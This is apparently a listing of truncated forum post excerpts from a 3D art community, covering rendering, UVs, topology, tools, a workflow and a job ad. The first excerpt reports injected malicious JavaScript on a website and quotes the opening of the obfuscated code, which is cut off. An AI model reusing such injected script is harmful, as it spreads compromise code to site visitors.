There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything: this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' &&…
Hey guys, when i render w/ maya software my normals and spec show up, however when i use mental ray, only the diffuse shows through. all maps are targas w/ solid alphas. Any suggestions?
I wrote my own but you could try this... Flatten the UVs in their W coordinate before running the tools and see if that solves it. A number of UV operations cause shifts in W and that will mess with the maths used in the texel density tools if it's not accounted for.
wow...i have always heard(and this happened to me once) that max creates some really nasty seams w/normal maps....that's why i wanted to try it w/zmapper. fat-cap...why do you think zmapper gives poorer results?
hey rob, this is a great way to set up edgeloops on the head. it's prolly what most people follow. however w/your texturing style...you could get away w/half the amount of polies you're using. but this a great reference for a facial set-up
https://www.youtube.com/watch?v=WE3_pqw-KNU&t=2s Hi everyone, I’ve been working on Hairflow, a specialized 2D tool designed to bridge the gap between sculpting high-fidelity hair and the tedious process of creating hair card textures for real-time engines. The philosophy is simple: Groom in 2D on a flat canvas, and bake…
Hey guys I'm trying to speed up or look for holes in this workflow I spent sometime putting together. -put together rough concept and collect reference -model dense enough control mesh -export to Zbrush -make poly mesh 3d, assign groups, GUV tiles, and create morph target -subdivide and model down to high frequency detail…
IMPORTANT: This is a full-time position ON-SITE in New York City Fauna Robotics, an Amazon Company We are looking for an experienced Technical Animator / Technical Artist. The Amazon job title equivalent of this is: 'Design Technologist' Job description We are seeking a Design Technologist to define the expressive motion…
Hello everyone, I’d like to share my first independent project: a detailed 3D model of the Grand 850 rigid-inflatable boat (RIB). Since I am still a beginner in 3D modeling, this was a massive learning experience for me. My primary objective for this project was to achieve accurate hard-surface geometry representation,…
Hey guys, after seeing a thread about revealing the input object for a Boolean in Maya, i realised that Maya had procedural Booleans under the hood (athough not 100% bulletproof). So I went to work making a script that i would love to use, and that others could use. This script doesn't add any new functionality to Maya it…